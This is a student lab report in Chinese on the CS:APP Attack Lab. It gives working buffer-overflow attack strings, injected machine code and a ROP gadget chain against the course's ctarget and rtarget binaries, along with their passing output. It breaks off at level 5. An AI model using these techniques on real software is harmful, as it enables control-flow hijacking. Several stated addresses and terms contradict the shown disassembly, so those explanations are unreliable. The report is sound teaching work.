**中国海洋大学 计算机科学与技术系**

实验报告

姓名:火

年级:2022

专业

科目:计算机系统原理

题目:Attack Lab

实验时间:2023/12/22

实验成绩

实验教师

一、实验目的:

本次实验涉及到具有安全漏洞的两个函数ctargetrtarget,总共包括 5 关。通过本实验你将学习到:

  • 当程序不能很好地防止缓冲区溢出时,攻击者可以利用安全漏洞的不同方式
  • 更好地了解如何编写更安全的程序,以及编译器和操作系统提供的一些功能,以使程序不易受到攻击
  • 更深入地了解 x86-64 机器代码的堆栈和参数传递机制
  • 更深入地了解 x86-64 指令的编码方式
  • 获得更多使用 GDB 和 OBJDUMP 等调试工具的经验

二、实验要求:

  • 在攻击字符串中供ret使用的任何地址只能是以下地址:

    • 函数touch1touch2touch3的地址
    • 注入的代码的地址
    • farm.cgadget的地址
  • 只能使用ret指令控制程序执行流,不能使用jmpcall等指令

三、实验内容:

· 准备工作:

先将ctarget代码反汇编

1
objdump -d ctarget > c.txt

· 第一关:

  • 第一关不需要注入新的代码,只需要利用输入的字符串控制函数的执行流程,使它跳转到touch1函数并执行。

  • 函数getbuf在 test 函数中被调用:

    1
    2
    3
    4
    5
    6
    void test()
    {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
    }

    getbuf函数执行return语句返回时,会恢复到test函数继续执行printf语句。

  • ctarget中有一个函数touch1

    1
    2
    3
    4
    5
    6
    7
    void touch1()
    {
    vlevel = 1;
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
    }
  • 第一关的任务是使getbuf返回时跳转到touch1函数开始执行,而不是返回到test函数继续执行

  • 找到getbuf函数的反汇编代码:

    1
    2
    3
    4
    5
    6
    7
    8
    0000000000401e92 <getbuf>:
    401e92: f3 0f 1e fa endbr64
    401e96: 48 83 ec 18 sub $0x18,%rsp
    401e9a: 48 89 e7 mov %rsp,%rdi
    401e9d: e8 b5 02 00 00 callq 402157 <Gets>
    401ea2: b8 01 00 00 00 mov $0x1,%eax
    401ea7: 48 83 c4 18 add $0x18,%rsp
    401eab: c3 retq
  • 显然,这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf的返回值,即使getbuf结尾处的ret指令将控制转移到touch1

  • 从第二行指令sub $0x18,%rsp可以得出getbuf创建的缓冲区大小为0x18字节。

  • 再查看touch1的反汇编:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    0000000000401eac <touch1>:
    401eac: f3 0f 1e fa endbr64
    401eb0: 50 push %rax
    401eb1: 58 pop %rax
    401eb2: 48 83 ec 08 sub $0x8,%rsp
    401eb6: c7 05 3c 56 00 00 01 movl $0x1,0x563c(%rip) # 4074fc <vlevel>
    401ebd: 00 00 00
    401ec0: 48 8d 3d 71 24 00 00 lea 0x2471(%rip),%rdi # 404338 <_IO_stdin_used+0x338>
    401ec7: e8 c4 f3 ff ff callq 401290 <puts@plt>
    401ecc: bf 01 00 00 00 mov $0x1,%edi
    401ed1: e8 f4 04 00 00 callq 4023ca <validate>
    401ed6: bf 00 00 00 00 mov $0x0,%edi
    401edb: e8 10 f5 ff ff callq 4013f0 <exit@plt>
  • 发现touch1的首地址是0x401eac

  • 由此就有了思路,我们只需要输入25个字符,前24个字节将getbuf的栈空间填满,最后一个字节将返回值覆盖为0x4017c0touch1的地址,这样,在getbuf执行retq指令后,程序就会跳转执行touch1函数。

  • 采用Write up推荐方法,创建一个txt文档存储输入。并按照HEX2RAW工具的说明,在每个字节间用空格或回车隔开。注意我们这里要用小端法,即输入的字符串要写成ac 1e 40这样,开辟的24字节空间里面填什么无所谓。最后我们可以填成这样:

    level1.txt

    1
    2
    3
    4
    5
    6
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    //以上字符是填充满整个缓冲区(24字节)从而溢出
    ac 1e 40 00 00 00 00 00
    //用函数touch1的起始地址覆盖原先的返回地址
  • 调用hex2raw生成攻击字符串,并攻击ctarget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level1.txt > level1raw.txt
    ouc@islouc-vm:~/Desktop/target393$ ./ctarget -qi level1raw.txt

    Cookie: 0x175f75bc
    Touch1!: You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id 22090001016
    course 15213-f15
    lab attacklab
    result 393:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 1E 40 00 00 00 00 00

    img

· 第二关:

  • 第⼆关需要注入少量代码作为漏洞注入字符串的一部分

  • ctarget中有一个函数touch2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void touch2(unsigned val)
    {
    vlevel = 2;
    if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
    } else {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    fail(2);
    }
    exit(0);
    }
  • 第⼆关的任务是使getbuf返回时跳转到touch2函数开始执行,而不是返回到test函数继续执行,与touch1不同的是touch2需要将cookie作为参数传递,即0x175f75bc

  • 查看touch2的反汇编:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    0000000000401ee0 <touch2>:
    401ee0: f3 0f 1e fa endbr64
    401ee4: 50 push %rax
    401ee5: 58 pop %rax
    401ee6: 48 83 ec 08 sub $0x8,%rsp
    401eea: 89 fa mov %edi,%edx
    401eec: c7 05 06 56 00 00 02 movl $0x2,0x5606(%rip) # 4074fc <vlevel>
    401ef3: 00 00 00
    401ef6: 39 3d 08 56 00 00 cmp %edi,0x5608(%rip) # 407504 <cookie>
    401efc: 74 2a je 401f28 <touch2+0x48>
    401efe: 48 8d 35 83 24 00 00 lea 0x2483(%rip),%rsi # 404388 <_IO_stdin_used+0x388>
    401f05: bf 01 00 00 00 mov $0x1,%edi
    401f0a: b8 00 00 00 00 mov $0x0,%eax
    401f0f: e8 8c f4 ff ff callq 4013a0 <__printf_chk@plt>
    401f14: bf 02 00 00 00 mov $0x2,%edi
    401f19: e8 80 05 00 00 callq 40249e <fail>
    401f1e: bf 00 00 00 00 mov $0x0,%edi
    401f23: e8 c8 f4 ff ff callq 4013f0 <exit@plt>
    401f28: 48 8d 35 31 24 00 00 lea 0x2431(%rip),%rsi # 404360 <_IO_stdin_used+0x360>
    401f2f: bf 01 00 00 00 mov $0x1,%edi
    401f34: b8 00 00 00 00 mov $0x0,%eax
    401f39: e8 62 f4 ff ff callq 4013a0 <__printf_chk@plt>
    401f3e: bf 02 00 00 00 mov $0x2,%edi
    401f43: e8 82 04 00 00 callq 4023ca <validate>
    401f48: eb d4 jmp 401f1e <touch2+0x3e>
  • 函数的第一个参数放在%rdi寄存器里面,显然,这里我们不能直接输入字符串,需要借助汇编语言来实现。具体解题思路如下:

    • 将正常的返回地址设置成为注入代码的地址,这次注入直接在栈顶注入,即设置为%rsp
    • cookie的值写在%rdi
    • 获取touch2的首地址,即0x401ee0
    • 要调用touch2,却不能用call jmp等命令,所以只能用ret弹出,在弹出之前要先把touch2地址压栈。
  • 即我们的汇编代码为:

    1
    2
    3
    mov	$0x175f75bc, %rdi
    pushq $0x401ee0
    ret
  • 命令行里编译再查看其反汇编:

    1
    2
    ouc@islouc-vm:~/Desktop/target393$ gcc -c attack2.s
    ouc@islouc-vm:~/Desktop/target393$ objdump -d attack2.o > attack2.txt
  • 查看attack2.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    attack2.o:     file format elf64-x86-64


    Disassembly of section .text:

    0000000000000000 <.text>:
    0: 48 c7 c7 bc 75 5f 17 mov $0x175f75bc,%rdi
    7: 68 e0 1e 40 00 pushq $0x401ee0
    c: c3 retq
  • 观察getbuf

    1
    2
    3
    4
    5
    6
    7
    8
    0000000000401e92 <getbuf>:
    401e92: f3 0f 1e fa endbr64
    401e96: 48 83 ec 18 sub $0x18,%rsp
    401e9a: 48 89 e7 mov %rsp,%rdi
    401e9d: e8 b5 02 00 00 callq 402157 <Gets>
    401ea2: b8 01 00 00 00 mov $0x1,%eax
    401ea7: 48 83 c4 18 add $0x18,%rsp
    401eab: c3 retq
  • 这三条指令地址我们就有了,就是每行反汇编最前面的一长串十六进制数字,接着我们去找%rsp在哪,借助gdb

    1
    2
    3
    4
    5
    6
    7
    ouc@islouc-vm:~/Desktop/target393$ gdb ctarget

    pwndbg> b *0x401ea2

    pwndbg> run -q

    pwndbg> p/x $rsp

    img

    img

  • 0x55613b18就是我们应该修改的返回地址

  • 将这段代码放到40个字节中的开头,代码地址放到末尾。于是就得到输入为:

    1
    2
    3
    4
    48 c7 c7 bc 75 5f 17 68 
    e0 1e 40 00 c3 00 00 00
    00 00 00 00 00 00 00 00
    18 3b 61 55 00 00 00 00
  • 使用hex2raw生成攻击字符串,并攻击ctarget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level2.txt > level2raw.txt
    ouc@islouc-vm:~/Desktop/target393$ ./ctarget -qi level2raw.txt

    Cookie: 0x175f75bc
    Touch2!: You called touch2(0x175f75bc)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
    user id 22090001016
    course 15213-f15
    lab attacklab
    result 393:PASS:0xffffffff:ctarget:2:48 C7 C7 BC 75 5F 17 68 E0 1E 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 18 3B 61 55 00 00 00 00

    img

· 第三关:

  • 第三关也需要注入代码

  • ctarget中有函数hexmatchtouch1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    /* Compare string to hex represention of unsigned value */
    int hexmatch(unsigned val, char *sval)
    {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void touch3(char *sval)
    {
    vlevel = 3;
    if (hexmatch(cookie, sval)) {
    printf("Touch3!: You called touch3(\"%s\")\n", sval);
    validate(3);
    } else {
    printf("Misfire: You called touch3(\"%s\")\n", sval);
    fail(3);
    }
    exit(0);
    }
  • 第三关的任务是使getbuf返回时跳转到touch3函数开始执行,而不是返回到test函数继续
    执行,与touch2不同的是touch3需要将cookie的字符串形式作为参数传递

  • 查看touch3的反汇编:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    0000000000402005 <touch3>:
    402005: f3 0f 1e fa endbr64
    402009: 53 push %rbx
    40200a: 48 89 fb mov %rdi,%rbx
    40200d: c7 05 e5 54 00 00 03 movl $0x3,0x54e5(%rip) # 4074fc <vlevel>
    402014: 00 00 00
    402017: 48 89 fe mov %rdi,%rsi
    40201a: 8b 3d e4 54 00 00 mov 0x54e4(%rip),%edi # 407504 <cookie>
    402020: e8 25 ff ff ff callq 401f4a <hexmatch>
    402025: 85 c0 test %eax,%eax
    402027: 74 2d je 402056 <touch3+0x51>
    402029: 48 89 da mov %rbx,%rdx
    40202c: 48 8d 35 7d 23 00 00 lea 0x237d(%rip),%rsi # 4043b0 <_IO_stdin_used+0x3b0>
    402033: bf 01 00 00 00 mov $0x1,%edi
    402038: b8 00 00 00 00 mov $0x0,%eax
    40203d: e8 5e f3 ff ff callq 4013a0 <__printf_chk@plt>
    402042: bf 03 00 00 00 mov $0x3,%edi
    402047: e8 7e 03 00 00 callq 4023ca <validate>
    40204c: bf 00 00 00 00 mov $0x0,%edi
    402051: e8 9a f3 ff ff callq 4013f0 <exit@plt>
    402056: 48 89 da mov %rbx,%rdx
    402059: 48 8d 35 78 23 00 00 lea 0x2378(%rip),%rsi # 4043d8 <_IO_stdin_used+0x3d8>
    402060: bf 01 00 00 00 mov $0x1,%edi
    402065: b8 00 00 00 00 mov $0x0,%eax
    40206a: e8 31 f3 ff ff callq 4013a0 <__printf_chk@plt>
    40206f: bf 03 00 00 00 mov $0x3,%edi
    402074: e8 25 04 00 00 callq 40249e <fail>
    402079: eb d1 jmp 40204c <touch3+0x47>
  • 再查看hexmatch的反汇编:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    0000000000401f4a <hexmatch>:
    401f4a: f3 0f 1e fa endbr64
    401f4e: 41 55 push %r13
    401f50: 41 54 push %r12
    401f52: 55 push %rbp
    401f53: 53 push %rbx
    401f54: 48 81 ec 88 00 00 00 sub $0x88,%rsp
    401f5b: 89 fd mov %edi,%ebp
    401f5d: 48 89 f3 mov %rsi,%rbx
    401f60: 41 bc 28 00 00 00 mov $0x28,%r12d
    401f66: 64 49 8b 04 24 mov %fs:(%r12),%rax
    401f6b: 48 89 44 24 78 mov %rax,0x78(%rsp)
    401f70: 31 c0 xor %eax,%eax
    401f72: e8 f9 f3 ff ff callq 401370 <random@plt>
    401f77: 48 89 c1 mov %rax,%rcx
    401f7a: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
    401f81: 0a d7 a3
    401f84: 48 f7 ea imul %rdx
    401f87: 48 01 ca add %rcx,%rdx
    401f8a: 48 c1 fa 06 sar $0x6,%rdx
    401f8e: 48 89 c8 mov %rcx,%rax
    401f91: 48 c1 f8 3f sar $0x3f,%rax
    401f95: 48 29 c2 sub %rax,%rdx
    401f98: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
    401f9c: 48 8d 04 80 lea (%rax,%rax,4),%rax
    401fa0: 48 c1 e0 02 shl $0x2,%rax
    401fa4: 48 29 c1 sub %rax,%rcx
    401fa7: 4c 8d 2c 0c lea (%rsp,%rcx,1),%r13
    401fab: 41 89 e8 mov %ebp,%r8d
    401fae: 48 8d 0d a0 23 00 00 lea 0x23a0(%rip),%rcx # 404355 <_IO_stdin_used+0x355>
    401fb5: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
    401fbc: be 01 00 00 00 mov $0x1,%esi
    401fc1: 4c 89 ef mov %r13,%rdi
    401fc4: b8 00 00 00 00 mov $0x0,%eax
    401fc9: e8 62 f4 ff ff callq 401430 <__sprintf_chk@plt>
    401fce: ba 09 00 00 00 mov $0x9,%edx
    401fd3: 4c 89 ee mov %r13,%rsi
    401fd6: 48 89 df mov %rbx,%rdi
    401fd9: e8 92 f2 ff ff callq 401270 <strncmp@plt>
    401fde: 85 c0 test %eax,%eax
    401fe0: 0f 94 c0 sete %al
    401fe3: 48 8b 5c 24 78 mov 0x78(%rsp),%rbx
    401fe8: 64 49 33 1c 24 xor %fs:(%r12),%rbx
    401fed: 75 11 jne 402000 <hexmatch+0xb6>
    401fef: 0f b6 c0 movzbl %al,%eax
    401ff2: 48 81 c4 88 00 00 00 add $0x88,%rsp
    401ff9: 5b pop %rbx
    401ffa: 5d pop %rbp
    401ffb: 41 5c pop %r12
    401ffd: 41 5d pop %r13
    401fff: c3 retq
    402000: e8 ab f2 ff ff callq 4012b0 <__stack_chk_fail@plt>
  • 同时,test

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    000000000040207b <test>:
    40207b: f3 0f 1e fa endbr64
    40207f: 48 83 ec 08 sub $0x8,%rsp
    402083: b8 00 00 00 00 mov $0x0,%eax
    402088: e8 05 fe ff ff callq 401e92 <getbuf>
    40208d: 89 c2 mov %eax,%edx
    40208f: 48 8d 35 6a 23 00 00 lea 0x236a(%rip),%rsi # 404400 <_IO_stdin_used+0x400>
    402096: bf 01 00 00 00 mov $0x1,%edi
    40209b: b8 00 00 00 00 mov $0x0,%eax
    4020a0: e8 fb f2 ff ff callq 4013a0 <__printf_chk@plt>
    4020a5: 48 83 c4 08 add $0x8,%rsp
    4020a9: c3 retq
  • 同理,借助gdb查看调用hexmatch0x55613b40就是我们应该修改的返回地址

    1
    2
    3
    4
    5
    6
    7
    ouc@islouc-vm:~/Desktop/target393$ gdb ctarget

    pwndbg> b *0x402083

    pwndbg> run -q

    pwndbg> p/x $rsp

    img

  • touch3的起始地址为0x402005

  • 新建attack3.s储存

    1
    2
    3
    mov	$0x55613b38, %rdi
    pushq $0x402005
    ret
  • 命令行里编译再查看其反汇编:

    1
    2
    ouc@islouc-vm:~/Desktop/target393$ gcc -c attack3.s
    ouc@islouc-vm:~/Desktop/target393$ objdump -d attack3.o > attack3.txt
  • 查看attack3.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    attack3.o:     file format elf64-x86-64


    Disassembly of section .text:

    0000000000000000 <.text>:
    0: 48 c7 c7 38 3b 61 55 mov $0x55613b38,%rdi
    7: 68 05 20 40 00 pushq $0x402005
    c: c3 retq
  • cookie0x175f75bc的 ACSII码 为31 37 35 66 37 35 62 63 00,末尾的00是字符串结束标识符\n

  • 故,攻击字符串level3.txt

    1
    2
    3
    4
    5
    6
    7
    8
    48 c7 c7 38 3b 61 55 68 
    05 20 40 00 c3 00 00 00
    00 00 00 00 00 00 00 00
    //以上包含注入代码填充满整个缓冲区(24字节)从而溢出
    18 3b 61 55 00 00 00 00
    //用缓冲区的起始地址覆盖原先的返回地址
    31 37 35 66 37 35 62 63 00
    //cookie值的ACSII码
  • 使用hex2raw生成攻击字符串,并攻击ctarget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level3.txt > level3raw.txt
    ouc@islouc-vm:~/Desktop/target393$ ./ctarget -qi level3raw.txt

    Cookie: 0x175f75bc
    Touch3!: You called touch3("175f75bc")
    Valid solution for level 3 with target ctarget
    PASS: Would have posted the following:
    user id 22090001016
    course 15213-f15
    lab attacklab
    result 393:PASS:0xffffffff:ctarget:3:48 C7 C7 38 3B 61 55 68 05 20 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 18 3B 61 55 00 00 00 00 31 37 35 66 37 35 62 63 00

    img

· 第四关:

  • 要求:

    1. 只能使用前八个x86-64寄存器 %rax-%rdi
    2. 只能使用 movqpopqretnopgadget
    3. 只能使用两个 gadget完成攻击;
  • 本题的任务与Phase 2相同,都是要求返回到touch2函数,Phase 2中用到的注入代码为:

    1
    2
    3
    mov	$0x175f75bc, %rdi
    pushq $0x401ee0
    ret
  • 我们先把rtarget反汇编文件弄出来

    1
    objdump -d rtarget > r.txt
  • farm有关的部分:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    00000000004020aa <start_farm>:
    4020aa: f3 0f 1e fa endbr64
    4020ae: b8 01 00 00 00 mov $0x1,%eax
    4020b3: c3 retq

    00000000004020b4 <setval_118>:
    4020b4: f3 0f 1e fa endbr64
    4020b8: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
    4020be: c3 retq

    00000000004020bf <getval_282>:
    4020bf: f3 0f 1e fa endbr64
    4020c3: b8 48 89 c7 c7 mov $0xc7c78948,%eax
    4020c8: c3 retq

    00000000004020c9 <setval_393>:
    4020c9: f3 0f 1e fa endbr64
    4020cd: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
    4020d3: c3 retq

    00000000004020d4 <setval_245>:
    4020d4: f3 0f 1e fa endbr64
    4020d8: c7 07 48 8d c7 c3 movl $0xc3c78d48,(%rdi)
    4020de: c3 retq

    00000000004020df <getval_494>:
    4020df: f3 0f 1e fa endbr64
    4020e3: b8 58 90 90 c3 mov $0xc3909058,%eax
    4020e8: c3 retq

    00000000004020e9 <addval_281>:
    4020e9: f3 0f 1e fa endbr64
    4020ed: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi),%eax
    4020f3: c3 retq

    00000000004020f4 <getval_477>:
    4020f4: f3 0f 1e fa endbr64
    4020f8: b8 53 58 92 90 mov $0x90925853,%eax
    4020fd: c3 retq

    00000000004020fe <getval_279>:
    4020fe: f3 0f 1e fa endbr64
    402102: b8 2f 58 91 90 mov $0x9091582f,%eax
    402107: c3 retq

    0000000000402108 <mid_farm>:
    402108: f3 0f 1e fa endbr64
    40210c: b8 01 00 00 00 mov $0x1,%eax
    402111: c3 retq

    0000000000402112 <add_xy>:
    402112: f3 0f 1e fa endbr64
    402116: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
    40211a: c3 retq

    000000000040211b <addval_303>:
    40211b: f3 0f 1e fa endbr64
    40211f: 8d 87 89 c2 38 c9 lea -0x36c73d77(%rdi),%eax
    402125: c3 retq

    0000000000402126 <addval_187>:
    402126: f3 0f 1e fa endbr64
    40212a: 8d 87 8b d1 84 d2 lea -0x2d7b2e75(%rdi),%eax
    402130: c3 retq

    0000000000402131 <addval_460>:
    402131: f3 0f 1e fa endbr64
    402135: 8d 87 89 d1 84 c9 lea -0x367b2e77(%rdi),%eax
    40213b: c3 retq

    000000000040213c <addval_399>:
    40213c: f3 0f 1e fa endbr64
    402140: 8d 87 a0 89 c2 94 lea -0x6b3d7660(%rdi),%eax
    402146: c3 retq

    0000000000402147 <getval_305>:
    402147: f3 0f 1e fa endbr64
    40214b: b8 48 89 e0 c3 mov $0xc3e08948,%eax
    402150: c3 retq

    0000000000402151 <getval_263>:
    402151: f3 0f 1e fa endbr64
    402155: b8 48 8d e0 c3 mov $0xc3e08d48,%eax
    40215a: c3 retq

    000000000040215b <getval_370>:
    40215b: f3 0f 1e fa endbr64
    40215f: b8 8c 8b d1 90 mov $0x90d18b8c,%eax
    402164: c3 retq

    0000000000402165 <getval_291>:
    402165: f3 0f 1e fa endbr64
    402169: b8 48 8d e0 c3 mov $0xc3e08d48,%eax
    40216e: c3 retq

    000000000040216f <setval_374>:
    40216f: f3 0f 1e fa endbr64
    402173: c7 07 89 ce 20 d2 movl $0xd220ce89,(%rdi)
    402179: c3 retq

    000000000040217a <getval_294>:
    40217a: f3 0f 1e fa endbr64
    40217e: b8 48 09 e0 90 mov $0x90e00948,%eax
    402183: c3 retq

    0000000000402184 <getval_327>:
    402184: f3 0f 1e fa endbr64
    402188: b8 f4 c9 c2 c3 mov $0xc3c2c9f4,%eax
    40218d: c3 retq

    000000000040218e <addval_143>:
    40218e: f3 0f 1e fa endbr64
    402192: 8d 87 48 89 e0 90 lea -0x6f1f76b8(%rdi),%eax
    402198: c3 retq

    0000000000402199 <getval_379>:
    402199: f3 0f 1e fa endbr64
    40219d: b8 09 ce 90 c3 mov $0xc390ce09,%eax
    4021a2: c3 retq

    00000000004021a3 <setval_398>:
    4021a3: f3 0f 1e fa endbr64
    4021a7: c7 07 89 ce 28 c9 movl $0xc928ce89,(%rdi)
    4021ad: c3 retq

    00000000004021ae <setval_215>:
    4021ae: f3 0f 1e fa endbr64
    4021b2: c7 07 89 d1 84 d2 movl $0xd284d189,(%rdi)
    4021b8: c3 retq

    00000000004021b9 <getval_223>:
    4021b9: f3 0f 1e fa endbr64
    4021bd: b8 89 c2 c3 e2 mov $0xe2c3c289,%eax
    4021c2: c3 retq

    00000000004021c3 <addval_468>:
    4021c3: f3 0f 1e fa endbr64
    4021c7: 8d 87 8d d1 84 d2 lea -0x2d7b2e73(%rdi),%eax
    4021cd: c3 retq

    00000000004021ce <addval_350>:
    4021ce: f3 0f 1e fa endbr64
    4021d2: 8d 87 89 ce 08 c9 lea -0x36f73177(%rdi),%eax
    4021d8: c3 retq

    00000000004021d9 <addval_146>:
    4021d9: f3 0f 1e fa endbr64
    4021dd: 8d 87 8b d1 90 c3 lea -0x3c6f2e75(%rdi),%eax
    4021e3: c3 retq

    00000000004021e4 <setval_161>:
    4021e4: f3 0f 1e fa endbr64
    4021e8: c7 07 89 c2 18 db movl $0xdb18c289,(%rdi)
    4021ee: c3 retq

    00000000004021ef <getval_254>:
    4021ef: f3 0f 1e fa endbr64
    4021f3: b8 89 ce 18 c9 mov $0xc918ce89,%eax
    4021f8: c3 retq

    00000000004021f9 <addval_476>:
    4021f9: f3 0f 1e fa endbr64
    4021fd: 8d 87 6c 89 ce c7 lea -0x38317694(%rdi),%eax
    402203: c3 retq

    0000000000402204 <getval_136>:
    402204: f3 0f 1e fa endbr64
    402208: b8 09 c2 84 d2 mov $0xd284c209,%eax
    40220d: c3 retq

    000000000040220e <addval_428>:
    40220e: f3 0f 1e fa endbr64
    402212: 8d 87 d1 a9 c2 90 lea -0x6f3d562f(%rdi),%eax
    402218: c3 retq

    0000000000402219 <getval_341>:
    402219: f3 0f 1e fa endbr64
    40221d: b8 81 ce 08 c9 mov $0xc908ce81,%eax
    402222: c3 retq

    0000000000402223 <getval_172>:
    402223: f3 0f 1e fa endbr64
    402227: b8 48 89 e0 c7 mov $0xc7e08948,%eax
    40222c: c3 retq

    000000000040222d <getval_435>:
    40222d: f3 0f 1e fa endbr64
    402231: b8 d9 4c 89 e0 mov $0xe0894cd9,%eax
    402236: c3 retq

    0000000000402237 <getval_262>:
    402237: f3 0f 1e fa endbr64
    40223b: b8 8b d1 20 d2 mov $0xd220d18b,%eax
    402240: c3 retq

    0000000000402241 <setval_323>:
    402241: f3 0f 1e fa endbr64
    402245: c7 07 68 89 e0 c3 movl $0xc3e08968,(%rdi)
    40224b: c3 retq

    000000000040224c <getval_214>:
    40224c: f3 0f 1e fa endbr64
    402250: b8 ee 8b c2 90 mov $0x90c28bee,%eax
    402255: c3 retq

    0000000000402256 <setval_220>:
    402256: f3 0f 1e fa endbr64
    40225a: c7 07 c9 ce 90 90 movl $0x9090cec9,(%rdi)
    402260: c3 retq

    0000000000402261 <getval_194>:
    402261: f3 0f 1e fa endbr64
    402265: b8 89 d1 00 c0 mov $0xc000d189,%eax
    40226a: c3 retq

    000000000040226b <end_farm>:
    40226b: f3 0f 1e fa endbr64
    40226f: b8 01 00 00 00 mov $0x1,%eax
    402274: c3 retq
  • 和Level 2一样将cookie存储进寄存器%rdi内。所以需要在rterget中找到相应gadget,可以凑出相应的能够实现攻击的指令。先将寄存器%rax的值设置为cookie,然后复制给%rdi。,可以拼凑出代码为:

    1
    2
    3
    4
    5
    popq %rax
    ret

    movq %rax, %rdi
    ret

    img

    img

  • 查表知,pop %rax58表示,查找58

    1
    2
    3
    4
    00000000004020e9 <addval_281>:
    4020e9: f3 0f 1e fa endbr64
    4020ed: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi),%eax
    4020f3: c3 retq
  • 得到指令地址为0x4020ef

  • movq %rax, %rdi表示为48 89 c7,其中 90 表示“空”,可以忽略

    1
    2
    3
    4
    00000000004020c9 <setval_393>:
    4020c9: f3 0f 1e fa endbr64
    4020cd: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
    4020d3: c3 retq
  • 得到指令地址为0x4020cf

  • 故攻击字符串level4.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    //以上代码填满整个缓冲区以致溢出
    ef 20 40 00 00 00 00 00
    //用gadget1(popq %rat ret)的起始地址覆盖原先的返回地址
    bc 75 5f 17 00 00 00 00
    //cookie
    cf 20 40 00 00 00 00 00
    //gadget2(mov %rax,%rdi ret)的起始地址
    e0 1e 40 00 00 00 00 00
    //touch2的起始地址
  • 发起进攻:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level4.txt > level4raw.txt
    ouc@islouc-vm:~/Desktop/target393$ ./rtarget -qi level4raw.txt

    Cookie: 0x175f75bc
    Touch2!: You called touch2(0x175f75bc)
    Valid solution for level 2 with target rtarget
    PASS: Would have posted the following:
    user id 22090001016
    course 15213-f15
    lab attacklab
    result 393:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EF 20 40 00 00 00 00 00 BC 75 5F 17 00 00 00 00 CF 20 40 00 00 00 00 00 E0 1E 40 00 00 00 00 00

    img

· 第五关:

  • 要求:

    1. 只能使用前八个x86-64寄存器 %rax-%rdi
    2. 可以使用 movqmovlpopqretnopgadget
    3. 可以使用在 rtarget代码中在 start_farmend_farm区域内的任意 gadget完成攻击;
    4. 至少需要8个 gadget实现此次攻击。
  • 本题的任务与Phase 3相同,都是要求返回到touch3函数

    Phase 3中用到的注入代码为:

    1
    2
    3
    mov	$0x55613b38, %rdi
    pushq $0x402005
    ret
